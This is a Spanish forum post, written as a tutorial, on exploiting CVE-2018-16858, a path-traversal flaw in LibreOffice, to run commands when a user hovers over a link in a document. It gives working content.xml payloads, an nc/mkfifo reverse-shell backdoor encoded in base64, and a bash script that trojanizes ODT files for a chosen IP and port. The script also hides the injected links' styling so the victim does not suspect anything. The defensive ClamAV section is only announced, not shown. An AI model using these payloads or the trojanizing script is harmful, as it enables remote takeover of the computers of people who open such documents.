He generado este manual sencillo. La idea es que sea comprensible y fácil de seguir. Si veis algún error o lo que se séa lo comentáis para que pueda mejorar. En teoría era para el blog pero como se estaba demorando lo dejo por aquí y ya lo subirá quien lo desee. Un abrazo.
Manual básico de generación de un exploitEn esta entrada se verá cómo utilizar un fallo sencillo de un programa para conseguir abrir una puerta trasera en el sistema que utilice dicho programa.
El fallo en cuestión viene definido en el CVE-2018-16858 perteneciente a la suite de ofimática LibreOffice. Este fallo logra, en un archivo especialmente formado, realizar un escalado de directorios, permitiendo la ejecución de código Python. Dicha ejecución se vincula o saltará ante la acción del usuario sobre el documento, y se realiza sin que se le dé ningún tipo de advertencia al usuario por la ejecución de macros.
El presente documento se divide en cinco partes. En la primera se explicará el fallo en sí, cómo desempaquetar un
OpenDocument, cómo cambiar su estructura para que ejecute el script local que se desea, y cómo recomponer el documento de nuevo para su ejecución y prueba.
En la segunda parte veremos cómo utilizar la ejecución local para lanzar cualquier comando en el sistema en el que se abra el documento, y generaremos una puerta trasera que permita la ejecución de comandos remotos.
En la tercera parte automatizaremos el proceso para generar documentos que creen puertas traseras con comunicacion directa o reversa, determinando dirección IP y puerto a los que se deberá conectar.
La cuarta parte tratará sobre la integración del fallo en el sistema metasploit para que mediante msfconsole se puedan generar documentos compatibles con la forma de explotación de metasploit. Con esto se podrán elegir como código a ejecutar cualquier payload definido en la suite de metasploit.
La quinta y última parte mostrará cómo integrar en un sistema de antivirus el proceso de detección que permita identificar los ficheros de tipo LibreOffice infectados mediante el procedimiento anterior. Se utilizará el formato de detección del antivirus ClamAV, permitiendo comprender mejor el proceso de detección que tienen los antivirus y así facilitar nuestra protección ante amenazas de este tipo.
Todo el proceso se realizará para sistemas Linux basados en Debian, pero lo que aquí se explica puede ser extrapolado a otros sistemas, ya que se describe detalladamente. Tanto el fallo como las pruebas de concepto del CVE original se realizaron para la version de LibreOffice para Windows, por lo que siempre se puede acudir a dicha fuente para utilizar lo descrito en este documento de forma análoga para las versiones de Windows.
Descripción del falloLibreOffice (y, por cuestiones genéticas, Apache OpenOffice) tiene un fallo en versiones anteriores a su última versión (6.1.5) que permite la ejecución de código Python situado en cualquier parte del ordenador sin que el usuario sea advertido por la ejecución de una macro.
Para poder ver el fallo en cuestión podemos generar un documento nuevo en el editor de textos en el que escribiremos algo, lo seleccionaremos y generaremos un hipervínculo. Para crear un hipervínculo en el texto hay que seleccionar el menú Insert y dentro la opción Hyperlink (también se puede conseguir seleccionando el texto y después usando la combinación de teclas Ctrl+K).
Aparacerá el siguiente dialogo:

Para definir un hipervínculo deberemos insertar una URL y hacer clic en Apply. Aparte de la opción de URL en la parte de abajo del cuadro de diálogo, donde se puede leer
Further Settings, dispondremos de un botón con el icono de
Play que nos permitirá además vincular eventos a determinadas acciones. Es ahí donde definiremos que deseamos ejecutar un código Python como acción.
Al pulsar dicho botón se abrirá un nuevo diálogo:

En él podremos seleccionar entre tres eventos básicos y el script que se desea utilizar. Como evento seleccionaremos
Mouse Over Object y como script dentro de los scripts de la familia
LibreOffice Macros se seleccionará
Python Samples. Dentro de dicha opción solo existe un script predeterminado llamado
TableSample, que es el que seleccionaremos.
Una vez hecho esto, si pasamos el ratón por encima del texto que hemos convertido en hipervínculo, veremos que se abre una ventana con un documento en el que hay una tabla. Esto quiere decir que hemos asociado el evento de pasar el ratón por encima del hipervínculo al script en Python. Lo que pretendemos es sustituir esta acción por otra que nosotros queramos.
Para ello guardaremos el documento que hemos creado y saldremos de LibreOffice para ejecutar en la consola una serie de comandos.
Entendiendo los OpenDocumentEl formato de documento ODT no es más que un zip con una serie de archivos dentro de él (el formato DOCX de Microsoft Office es muy parecido). Por ello, lo primero que haremos es descomprimir el archivo con un descompresor de archivos zip.
En nuestro caso utilizaremos la herramienta de línea de comando llamada unzip, así que simplemente ejecutaremos la siguiente sentencia:
[email protected]:~/Documents/prueba$ unzip ~/Documents/blog/exploitlibreoffice/doc/CV.odt
Con esto veremos los archivos que realmente tiene dentro un archivo de tipo OpenDocument. Los más relevantes para nosotros serán el archivo mimetypes, el archivo content.xml y el archivo styles.xml.
El archivo mimetype es el primero que debe aparecer en la lista de archivos del zip, por lo que cuando volvamos a empaquetar los archvos deberemos forzar con nuestro empaquetador de archivos que así sea o el archivo no será interpretado como un OpenDocument.
El archivo content.xml contiene el texto del documento que hemos escrito en el que tenemos texto mezclado con determinadas etiquetas que dicen en qué formato se debe ver el texto.
Por ejemplo, en la siguiente línea:
<text:p text:style-name="_5f_ECV_5f_SectionDetails">Indicar lista de documentos adjuntos a su CV. Ejemplos:</text:p>
Se puede observar un ejemplo de un parrafo de texto escrito con un estilo concreto definido por el atributo
text:style-name. El parrafo de texto está entre el tag de apertura
<text:p> y el tag de cierre
</text:p>.
El script asociado al hyperlink que hemos hecho también se puede ver de forma bastante simple. Si buscamos entre el texto de content.xml la palabra
python o el nombre del script de python que hemos cargado, en nuestro caso
TableSample.py con lo que se puede detectar fácilmente la línea donde debemos variar el contenido:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&location=share" xlink:type="simple"/>
En esta línea se encuentra la ruta del script en python que se va a cargar cuando pongamos el ratón encima del hipervínculo llamado
TableSample.py y la función que se a a ejecutar del código python, en este caso
createTable.
El problema inherente a LibreOffice es que cuando lee los documentos no se limpia correctamente el valor del código python a cargar. El programa no limpia los caracteres
../ de la ruta del archivo por lo que se puede acceder a cualquier archivo del sistema en el que se abra el documento de texto. Además, si ese archivo al que se accede es un archivo con código python podremos ejecutar cualquier función que haya definida en dicho archivo.
Primera prueba de ejeción de comando simpleComo primera prueba de concepto vamos a hacer que al pasar por encima del hipervínculo se ejecute la calculadora, en nuestro caso el programa
galculator abre la calculadora. Deberemos generar un programa en python que permita ejecutar un comando dentro de una función, al estilo de como espera la ejecución el LibreOffice. Para ello generaremos el siguiente código en la ruta
/tmp/prueba.py:
import os;
def ejecuta():
os.system("galculator");
Con este pequeño código conseguiremos nuestro propósito, ahora solo hace falta que añadamos tanto el archivo python
/tmp/prueba.py como el nombre de la función
ejecuta dentro de la llamada que se hace en el archivo odt. Por lo que la línea que hacía la llamada al python quedaría de la siguiente forma:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
Como se puede ver, lo que se ha hecho es añadir un número grande de
../ para asegurarnos de que escalamos hasta la raiz de nuestro sistema de archivos. Y a partir de ahí añadirmos la ruta concreta a nuestro archivo python (prueba.py). Después del
$ se ha añadido la palabra
ejecuta que es la función que hace que se carge la calculadora.
Una vez hecho esto, empaquetaremos de nuevo nuestro archivo odt recordando poner como primer archivo el mimetype. Si utilizamos la utilidad zip simplemente ejecutaremos el siguiente comando en el directorio donde hayamos desempaquetado nuestro odt y que contiene el content.xml malicioso:
[email protected]:~/Documents/prueba$ zip -r exploit.odt mimetype .
Una vez hecho esto abriremos el archivo con el LibreOffice y observaremos que se ejecuta el programa de la calculadora cuando pasamos el ratón por encima del hipervínculo.
Este primer paso, necesita de un código python generado con una función que podamos ejecutar sin parámetros. Es sencillo de implementar pero puede ser difícil de utilizar en un entorno creible o reproducible para un pentesting real.
Desde la versión 6.1 de LibreOffice se dispone de la posibilidad de que en las llamadas a funciones python se puedan pasar parámetros a dichas funciones. Esto permite mayor libertad de scriptado a los que deséan utilizar la utilización lícita de los macros de dicho programa, pero además nos ofrece una oportunidad de oro a los que deséan buscar las esquinas al software.
Cómo antes decíamos y de hecho hemos utilizado, para realizar una llamada al sistema para ejecutar cualquier comando se hace una llamada a la clase os y a la función system. Es la que hemos utilizado para llamar a la calculadora pasándo como parámetro la string
galculator. Lo bueno de las clases python es que podemos saber en que ruta están, y de hecho lo que se puede hacer para aprovecharnos de poder pasar parámetros a las funciones es buscar la ubicación de dicha clase. Antes hemos ejecutado una funcion de un programa python que se encontraba en /tmp/ y que hemos llamado prueba.py. Bien, ahora lo que haremos será llamar directamente a la funcion system que se encuentra en el programa python os.py que es una de las librerías del sistema.
Por ejemplo en los sistemas Linux actuales lo solemos encontrar en la ruta
/usr/lib/python3.5/os.py, por lo que cambiaremos la anterior ruta al códito
/tmp/prueba.py por esta nueva ruta. Ahora la función
ejecuta la cambiaremos por la funcion
system y de hecho como podemos pasar parámetros a dicha función ya podemos ejecutar el programa
galculator, o caulquier otro que deseemos, de manera directa, sin necesidad de generar en el equipo donde se verá el documento LibreOffice un archivo python a ejecutar.
Donde antes teníamos esta cadena en el archivo content.xml:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
Ahora simplemente tendremos la siguiente:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&location=share" xlink:type="simple"/>
El modo de empaquetar el archivo como documento de LibreOffice será exáctamente el mismo. El resultado ahora será que simplemente abriendo el documento odt sin necesidad de poner un programa python en ninguna ruta específica. Eso si, necesitaremos que la versión donde se abre el documento sea por lo menos la versión 6.1 del LibreOffice.
En cuanto se abra el archivo y se ponga encima el ratón de el link del documento se abrirá la aplicación de la calculadora al igual que pasaba en el ejemplo anterior.
Creación de puerta trasera y autoejecución mediante documento officeLos comandos que se ejecutan cuando se abre el documento se ejecutan en la máquina local, por lo que una utilidad que se le puede dar a dicha ejecución es la apertura de una puerta trasera que nos permita la ejecución de comandos de forma remota desde otros lugares.
Para hacer una puerta trasera muy sencilla utillizaremos el comando nc y realizaremos un fifo para que con el mismo puerto podamos enviar comandos al ordenador y obtener el resultado de dicha ejecución. En el primer acercamiento al fallo que utilizamos para la ejecución del comando tuvimos que hacer un programa en python. La idéa es que no tengamos que subir ningun código adicional al ordenador que se deséa explotar por lo que se utilizarán comandos del sistema para la generación de la puerta trasera.
El comando nc es un comando del sistema que permite abrir un puerto en el sistema local o conectarte a un puerto de un sistema remoto de forma que lo que recibas por dicha conexión salga por la salida estándar y lo que se introduzca por la salida estándar salga por la conexión hacia el otro equipo. Podemos utilizar pipes
| para que la salida por pantalla de un comando en ejecucion se introduzca en otro comando, por lo que si concatenamos el comando
nc con el comando
/bin/bash nos permitirá una solución sencilla para la ejecución de comandos remotos. Si ejecutamos
nc ip puerto | /bin/bash lo que llegue por la conexión que realiza el comando nc se pasará al comando
/bin/bash que ejecuta una shell, con lo que se estarían ejecutando todos los comandos que nos envían desde el ordenador con el que hemos conectado. Pero la salida estándar de dichos comandos no se devuelve al comando nc, por lo que no se vería la salida de estos. Se podría redireccionar la salida estándar del comando
/bin/bash hacia un nuevo comando
nc que utilice otro puerto, pero entonces necesitariamos dos puertos para poder realizar el envío de comandos y la recepción de salida de comandos lo que resulta algo tosco.
Una solución simple es utilizar fifos, el comando
mkfifo genera un archivo que permite irse escribiendo y consumiéndose a la vez. Por lo que generaremos un archivo fifo que utilizaremos como entrada del comando
nc para que todo lo que se escriba en dicho archivo se envíe por la conexión y se usará como salida para el comando
/bin/bash con lo que la salida de todo lo que se ejecute mediante dicho comando se escriba en el archivo fifo.
La sucesión de comandos para tener un backdoor que actúe como servidor en cualquier terminal linux sería la siguiente:
[email protected]:~/$ mkfifo /tmp/lalala;
[email protected]:~/$ nc -l -p puerto < /tmp/lalala | /bin/bash > /tmp/lalala;
Para conectarnos a dicho equipo desde cualquier otro ordenador se debería ejecutar lo siguiente:
[email protected]:~/$ nc ip puerto
Donde ip es la dirección IP del equipo con el backdoor y puerto el mismo valor que hemos indicado a la hora de ejecutar el
nc en el equipo donde hemos ejecutado el backdoor.
Si por problemas de firewalls en la red del equipo destino no podemos utilizar el equipo como servidor podemos hacerlo de forma inversa, de forma que sea el equipo que tiene el backdor el que se conecte a un servidor en nuestro poder. Para ello ejecutariamos primero en nuestro equipo el siguiente comando:
[email protected]:~/$ nc -l -p puerto
Y en el equipo del backdoor la siguiente sucesión de comandos muy parecida a la anterior:
[email protected]:~/$ mkfifo /tmp/lalala;
[email protected]:~/$ nc ip puerto < /tmp/lalala | /bin/bash > /tmp/lalala;
La dirección IP que debe aparecer en este último comando es la de nuestro equipo. Evidentemente el equipo remoto debe ser capaz de llegar a dicha dirección IP para que pueda realizar la conexión desde la que enviaremos los comandos a ejecutar en el sistema remoto.
Por lo que en el ordenador del backdoor y por poner el comando en una sola línea se puede ejecutar o bien esta línea:
[email protected]:~/$ mkfifo /tmp/lalala;nc -l -p puerto < /tmp/lalala | /bin/bash > /tmp/lalala;
o bien esta línea:
[email protected]:~/$ mkfifo /tmp/lalala;nc ip puerto < /tmp/lalala | /bin/bash > /tmp/lalala;
Una vez comprendido esto si conseguimos que mediante el archivo libreoffice se ejecuta cualquiera de las puertas traseras, podremos tener el control remoto del ordenador que ha abierto el documento.
Evidentemente si cambiamos el archivo python que hemos introducido en tmp y en lugar de ejecutar la calculadora ejecutamos la backdor tendremos la ejecución automática.
import os;
def ejecuta():
os.system("mkfifo /tmp/lalala;nc ip puerto < /tmp/lalala | /bin/bash > /tmp/lalala;");
Siguiendo esta línea de generacíon de backdoors, ahora se podría implementar en el documento office. La forma de hacerlo es relativamente sencilla ya que simplemenete deberemos cambiar el comando de la calculadora de linux por el comando que me permite abrir la puert trasera.
El backdoor que se ejecutará en lugar del comando de calculadora será el siguiente:
mkfifo /tmp/lalala; nc IP PUERTO < /tmp/lalala | /bin/bash > /tmp/lalala;
Es un backdoor de conexión inversa, así que para su funcionamiento y que se pueda obtener una shell se deberá de abrir un socket en el host con dirección ip IP y en el puerto PUERTO. Se deberán cambiar dichos valores por la IP y puerto abierto en nuestro host.
Existe un problema con este comando: LibreOffice no permite la utilización de algunos caracteres especiales como
< o
| por lo que deberemos saltarnos de alguna forma el uso de dichos caracteres para el uso de nuestro exploit.
Probablemente la opción sencilla es utilizar base64. Base64 esta instalada por defecto en casi todos los equipos Linux y es un programa que nos permite tanto codificar como decodificar mediante ese algoritmo. Por lo que podemos codificar lo que deseamos ejecutar en base64 redireccionarlo a un archivo que después será decodificado y ejecutado.
Se va a utilizar una forma de realización del backdoor que puede ser algo tosca, pero que es bastante transparente y compensible. Depués con la misma idea se puede complicar lo que se desee para que todo quede más compacto. Como esta guia está realizada con fines educativos, se mantendrán fórmulas de ejecución mas toscas pero con comandos y ejecuciones muy simples.
Si ejecutamos en un terminal lo siguiente podremos obtener la versión del payload en base64:
echo "mkfifo /tmp/lalala; nc IP PUERTO < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64
El resultado será algo parecido a lo siguiente:
bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=
Ahora ya no tenemos ninguno de los carácteres que pueden dar problemas en la ejecución mediante el exploit. Pero introduciendo esto en el comando system no ejecutaremos nada, pero de hecho podemos redirigir con un
echo ese contenido hacia un archivo. Con ello tendriamos un archivo que cuando decodificamos puede ser ejecutado, por lo que generaremos un archivo que despue decodificaremos con el comando
base64 pero con el parámetro que permite decodificar para redirigir eso a otro archivo. Que ahora si, será el que ejecutemos. Fragmentaremos primeramente cada comando explicando lo que hacemos para después usarlos todos dentro de la llamada a
system del exploit:
Primero, generamos un archivo base64 en la máquina que abre el documento LibreOffice en su directorio
/tmp/ llamado
lalala.base64.
echo "bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=" > /tmp/lalala.base64
Como ese archivo codificado no nos sirve de nada, lo descodificaremos llevando la salida hacia un archivo que después queremos ejecutar en el mismo directorio pero llamado
lalala.sh.
base64 -d /tmp/lalala.base64 > /tmp/lalala.sh
Dicho archivo no tiene permisos de ejecución por lo que deberemos darle dichos privilegios.
chmod 777 /tmp/lalala.sh
Después deberemos ejecutar el archivo bash que hemos generado.
/tmp/lalala.sh
Para finálmente borrar todos los archivos intermedios que se han generado en el ordenador.
rm /tmp/lalala.sh
rm /tmp/lalala.base64
Dentro de la llamada a la función
system de nuestro exploit será la llama de todos estos comandos separados por
;, con lo que se ejecutará un comando detrás del otro, quedando el siguiente comando o payload que se deberá meter dentro de la llamada a
system de nuestro
contents.xml en lugar de la calculadora. Finalmente, donde teníamos el siguiente contenido que permitía la ejecución de la calculadora:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&location=share" xlink:type="simple"/>
Pondremos el siguiente contenido:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo= > /tmp/lalala.base64; base64 /tmp/lalala.base64 -d > /tmp/lalala.sh; chmod 777 /tmp/lalala.sh; /tmp/lalala.sh; rm /tmp/lalala.sh; rm /tmp/lalala.base64;)?language=Python&location=share" xlink:type="simple"/>
Empaquetando de nuevo el documento LibreOffice ya tenemos un documento que al pasar el ratón por encima ejecutará nuestro backdoor.
Antes de que se abra el documento y como se ha comentado anteriormente deberemos tener previamente un puerto en escucha, y en cuanto el backdoor se conecte a nuestro host ya podremos ejecutar los comandos en el sistema remoto donde se ha abierto el documento LibreOffice.
Automatización del proceso, generando un programa que me permita infectar documentos OfficeComo siguiente paso, y como paso previo a la generación de un módulo de metasploit se debe ser capaz de automatizar y generalizar el proceso. Esto ayuda a comprobar si se tienen claros los cambios a realizar para poder modularizar y describir de forma concreta los problemas que se deben solucionar para hacer un programa genérico que permita infectar los documentos LibreOffice con el payload elegido. En esta sección realizaremos un pequeño script que permita infectar archivos de LibreOffice con una puerta trasera.
El script requerirá de tres parámetros, el documento office, la dirección IP a la que se debe conectar el ordenador una vez que se abra el documento Office además del puerto al que debe conectarse. Tras ejecutar el script deberemos obtener un documento LibreOffice con el backdoor introducido dentro de él. Como debemos de descomprimir el archivo zip, requeriremos que el directorio donde se ejecuta nuestro script este limpio por lo que deberemos comprobarlo dentro de él.
Con idéa de que el lenguaje no suponga un problema se utilizará bash script que permitirá realizar un script, puede que algo sucio, pero que permitirá llamadas a programas GNU que realizarán el trabajo más árduo. después todo ese trabajo que automatizan los programas de GNU habrá que o bien programarlo a mano o bien utilizar librerías que ayuden en el proceso cuando se genere el módulo de metasploit.
El script empezará exigiendo que el archivo que se deséa troyanizar exista y en caso contrario diremos al usuario que el archivo no existe:
if [ -e $1 ]; then
#aquí irá el codigo de programa.
else
echo "The odt file does not exists!!";
fi;
El
if ejecuta la acción que tiene dentro cuando se cumple la condición que tiene entre los corchetes. En bash la condición
-e devuelve verdadedo si existe un fichero con el nombre que se pone a continuación. En lugar de un nombre fijo se ha puesto
$1 que en bash se corresponde con el primer parámetro que ha introducido el usuario en la línea de ejecución del script. En nuestro caso, el primer parámetro especifica el archivo
.odt que se desea troyanizar.
Se ha puesto la condición de que en el directorio donde se ejecuta el comando, esté vacío, esto es símplemente para hacernos el trabajo más sencillo, así que deberemos comprobarlo antes de continuar con la primera sección del programa. Esta vez lo que se hará será hacer que el script ejecute la orden
ls -a y comprobaremos que sólo existen en el directorio de ejecución dos archivos. Los correspondientes al directorio
. y el correspondiente al directorio
... Esto lo consiguiremos mediante la siguiente sección de código:
I=0;
for fichero in `ls -a`; do
I=$(($I+1));
done;
if [ $I -gt 2 ]; then
echo "At least one file exists on the directory. Exiting.";
else
fi;
En esta sección código se está inicializando la variable
I con el valor
0. después mediante un bucle
for se recorren cada uno de los elementos que compongan la salida del comando
ls -a y en cada iteración del bucle la variable
fichero cambiará de valor por el nombre de cada elemento, en este caso con el nombre de cada fichero del directorio de trabajo. En bash poner un comando entre las comilla especiales
` permite que el comando se ejecute y que podamos utilizar su salida por pantalla para devolverla en una variable, o para utilizarla en bucles como es nuestro caso.
Dentro del bucle simplemente lo que se esta haciendo es aumentar el valor de la variable
I en 1. En bash script las variables que están a la derecha del igual, de las que se deséa obtener un valor, se deben de preceder siempre por un signo de dolar
$. Como ademas se desea realizar una operación matemática se deberá envolver la operacion que se deséa realizar
$I+1 entre
$(( y
)) lo que indica al interprete de bash que estamos en modo matemático y debe realizar operaciones con lo que hay dentro.
Tras el bucle, la variable I debería valer 2 si estamos en un directorio vacío o más de 2 si estamos en un directorio con algún archivo. Por lo que mediante una condición verificaremos si la variable vale más de 2 con intención de parar el programa y avisar al usuario. De nuevo usaremos un
if pero esta vez usaremos la comparación mayor que, que en bash se escribe
-gt de las siglas en ingles de "greater than". Cómo se ve en la pieza de código, si tenemos un valor mayor que 2 se notifica al usuario del error, en caso contrario se seguirá la ejecución de las demás instrucciones.
Como última comprobación se realizará la comprobación de que el usuario ha introducido 3 parámetros. Eso se hará simplemente mirando si la variable
$3 está vacía. Dicha variable especifica que se ha introducido el argumento número 3, por lo que si está vacía significa que la instrucción ejecutada por el usuario no tiene 3 argumentos de entrada. Se compara simplemente con el caracter vacío y en caso de estar vacía se indica al usuario de que ha cometido un error ejecutando el script. El código de esto vuelve a ser bastante simple:
if [ "" == "$3" ]; then
echo "I need an IP and a port to connect to.";
else
#continuamos con el programa.
fi;
Después de dichas comprobaciones se empezará con la ejecución de órdenes que permitirán realizar la troyanización del documento. Se empieza con la ejecución del comando
unzip para descomprimir el archivo LibreOffice. En caso de éxito se seguirá el proceso, si no, se parará.
unzip $1;
if [ $? != 0 ]; then
echo "some error has occurr!!!Exiting!!";
exit;
fi;
La primera línea de esta sección simplemente esta descomprimiendo el archivo que le ha indicado el usuario. En el condicional lo que se está haciendo es comprobar si la ejecución del comando
unzip se ha realizado con éxito mediante el código de salida del programa. Ese código de salida lo devuelven todos los programas que se pueden ejecutar a través de consola y por estándar, cualquier valor distinto de 0 estará indicando que el programa ha fallado. La forma de obtener dicho código de error se hace a través de la variable
$? que contiene el código de salida del último comando ejecutado.
En el condicional simplemente comprobaremos que séa 0 y en caso de no serlo notificaremos al usuario con un mensaje. después de dicha notificación ejecutamos un
exit que permite parar la ejecución del script en ese punto exacto para evitar que el script siga ejecutando las siguientes líneas.
Recordemos que una vez descomprimido el fichero se deben de cambiar dos cosas en el contenido del zip, el archivo
content.xml que es donde se introduce el troyano en si y el archivo
styles.xml que es donde se cambia el formato que tienen los hipervínculos para que el usuario que abre el archivo no sospeche del problema.
El payload que se va a introducir es el mencionado en el apartado anterior, deberá estar en base64 por lo que guardaremos dicha carga útil en una variable. Además se cambiará de nombre los archivos que se deben modificar con intención de poder leerlos y modificarlos en unos nuevos con el nombre original. De manera que los archivos con el nombre original serán reálmente los archivos modificados:
PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;
mv content.xml content.xml.NEW;
mv styles.xml styles.xml.NEW;
El único cambio respecto al payload original comentado en el apartado anterior es que donde se indicaba la dirección IP y el puerto se utilizan el argumento 2 y 3 que ha puesto el usuario. Como se vé, se hace una operación parecida a la realizada con el
for que se utiliza para contar el número de ficheros del directorio pero esta vez la salida del comando en lugar de ir a parar a la vriable del
for la guardamos en una variable que se ha llamado PAYLOAD.
Como se observa se ejecuta también el cambio de nombre de los archivos indicados mediante el comando mv.
Con intención de cambiar el contenido de contents.xml, ahora llamado contents.xml.NEW, el comando que se puede utilizar es el comando sed. Sed es un comando básico de la suite de comandos Unix que permite, entre otras cosas, la sustitucion de ciertas expresiones regulares por otras. El cambio que se debe hacer en el archivo content.xml.NEW es la búsqueda de todas las entradas que tengan la forma:
<text:p text:style-name="Standard">
Que no es mas que el tag utilizado por LibreOffice para definir el texto. En realidad para definir un texto cualquiera basta con que empiece por
<text:p y termine por
>para añadir justo antes el link que permite la ejecución junto con el PAYLOAD que se ha realizado con anterioridad. Algo que quedará de la forma:
<text:a xlink:type="simple" xlink:href="http://lalala/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload;)?language=Python&location=share" xlink:type="simple"/></office:event-listeners>License: <text:a xlink:type="simple" xlink:href="https://creativecommons.org/licenses/by-sa/4.0/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link">
Donde PAYLOAD se modifica por el código en base64 calculado con la dirección IP elegida y el puerto elegido. Además, después de esta inserción se debe dejar intacto el tag del párrafo de texto mencionado con anterioridad.
Además, se debe indicar la terminación del tag que se pone de forma adicional por lo que en todo tag de terminación de texto
</text:p> se deberá cambiar por
</text:a></text:p>.
Para este fin se hará uso del comando sed que permite que todo lo que se inserte por la entrada estándar sea modificado, el formato del comando es el siguiente:
sed s/"busqueda"/"cambio"/g
La
s dice a sed que deseamos realizar una sustitucion, el primer string marcado en el ejemplo como
busqueda es lo que que el comando va a modificar de lo que se le pase por la entrada estándar. En el comando de ejemplo el string
cambio es por lo que sed va a cambiar lo que se deséa buscar. La letra
g indicada tras las dos palabras permiten que no sólo haga el cambio con la primera palabra que cumpla el criterio de busqueda, si no con todas las palabras de la entrada que la cumplan. De manera que si en el comando tal y como está escrito se le pasa por pantalla la siguiente frase:
la busqueda de sed permite busquedas y cambiarlas por algo.
El comando sed devolvera la siguiente frase:
la cambio de sed permite cambios y cambiarlas por algo.
Además sed permite por un lado expresiones regulares, por lo que los carácteres
*,
.,
^,
[ y
] tienen significados especiales además en el segundo parámetro del sed, el que permite definir el cambio, si se introduce el caracter
& permitirá sacar el patrón de búsqueda por pantalla. No es intención de este tutorial entrar en todos los pormenores del sed así que simplemente se describirán los comandos que se ejecutan y su función. Se hará uso de las pipes
| que permiten la salida de un comando pueda ser la entrada del siguiente.
cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;
En este comando se está pasando el archivo content.xml.NEW a dos ejecuciones consecutivas del comando sed. En el primer sed, se está introduciendo la parte del payload, se busca el string __<text:p__ seguido por un número indeterminado de cualquier caracter que no sea __>__. También se exige que el caracter anterior al
> no sea un fin de tag. Dicha expresion regular se expresa de la siguiente forma:
<text:p [^>]*[^\/]>
Dicha cadena encontrada se va a introducir en la salida del comando sed, ya que estamos insertando el caracter
& en la salida seguido del tag del enlace en el cual asignamos también la acción de que cuando pasemos el ratón por encima se ejecute el script en python que deseeamos. Mayormente es una copia del tag utilizado poniendo en medio el PAYLOAD que se ha generado mediante la variable de bash llamada $PAYLOAD.
Lo que se obtiene de ese cambio se le aplica el cambio determinado con el segundo sed, que buscará la terminación del tag de texto __</text:p>__ y en la salida se usará el mismo tag precedido de la terminación del tag del link para que cuando se encuentre el texto __</text:p>__ la salida que se obtenga sea
</text:a></text:p>.
Con ámbos cambios ya se habrá conseguido que el archivo content.xml.NEW se transforme en el archivo que se deséa por lo que la salida tras realizar los sed, lo introduciremos en el archivo de salida content.xml.
Una vez hecho eso, ya no se necesitará el archivo temporal content.xml.NEW por lo que se procederá a su borrado mediante el comando rm.
rm content.xml.NEW
Se deberá tambien de hacer una modificación de cara a que los hipervinculos generados en el contenido no se visualicen como tal en al abrir el archivo. Por lo que se debe eliminar el subrayado que tienen por defecto los hipervínculos. En el fichero llamado
styles.xml es donde LibreOffice guarda los estilos en formato xml y que se puden modificar con cambios en el texto.
El estilo por defecto que tienen los hipervinculos en LibreOffice se llama
Internet_20_link, de modo que lo primero que se debe hacer es cambiar el nombre del estilo por defecto para llamarle de una forma que LibreOffice no vincule el formato definido con dicho estilo que fuerza el subrallado. Simplemente a todo estilo llamado así se le añadirá un 2 al final de modo que dicho estilo no se utilice en el documento en caso de que esté definido. Por otro lado, se definirá un estilo nuevo llamado exactamente así pero en el que se determinará que no esté subrayado. El formato en xml de dicho estilo es el siguiente:
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>
La forma más sencilla de definir un estilo y saber cómo se códifica en el formato de LibreOffice probablemente séa crear un estilo nuevo, definirlo como se desee para después guardarlo y desempaquetar el documento para mirarlo en el archivo styles.xml. En este caso como se puede ver leyendo un poco los atributos del tag, lo único que se ha definido en el estilo es que no esté subrallado y sin ningún color especial.
